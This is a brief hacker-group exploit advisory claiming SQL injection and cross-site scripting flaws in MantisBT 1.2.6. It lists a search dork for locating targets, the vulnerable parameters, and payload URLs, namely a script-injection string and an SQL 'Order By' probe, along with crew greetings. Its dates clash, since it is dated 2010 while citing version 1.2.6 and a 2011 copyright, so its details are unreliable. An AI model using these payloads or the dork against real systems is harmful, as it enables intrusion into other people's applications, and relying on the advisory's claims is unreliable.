[!]===========================================================================[!]

[~] Title  : MantisBT CMS Multiple Vulnerabilities(SQL/XSS)
[~] Author : Net.Edit0r (Net.Edit0r@Att.net)
[~] Homepage : Http://black-hg.org [BlACK Hat Group]
[~] Date : 18 ,8, 2010
[~] Discovered By : Cyrus & Net.Edit0r
[~] Category  : webapps / 0day
[-] Special Thanks : A.Cr0x ~ b3hz4d ~ Mikili ~ 2MzRp ~ Skitt3r

[!]===========================================================================[!]

[ Software Information ]

[+] Vendor : http://www.mantisbt.org
[+] Download Saftware :
http://sourceforge.net/projects/mantisbt/files/mantis-stable/1.2.6/mantisbt-1.2.6.zip/download
[+] Price : free
[+] Vulnerability : SQL/XSS
[+] Dork : "Copyright © 2000 - 2011 MantisBT Group"
[+] Version : 1.2.6

[!]===========================================================================[!]

[ Vulnerable File ]

    http://127.0.0.1/path/search.php?project_id=[XSS]

    http://127.0.0.1/path/core.php?mbadmin=[SQL]

[ XpL ]

    http://127.0.0.1/path/search.php?project_id="><script>alert(0)</script>

    http://127.0.0.1/path/core.php?mbadmin=2+Order+By+10--

[ Vedio Demo ]


^_^ G00d LUCK ALL :=)

[+] Greets===================================================================+
                                                                             +
Dr.Niloo, Hurr!c4nE , Cru3l.b0y , _Attack_, D3adlY, 3H34N , Mr.Xhat , 4m!n   +
M4hd1,s3cure.p0rt ,r3v0lter,1337day.com,packetstormsecurity.org,h4ckcity.org +
Exploit-id.com , pentesters.ir, mn-team.net [PersianGulf F0r Ever]           +
                        <3 I Love You iRAN Far==>D <3                        +
                                                                             +
=============================================================================+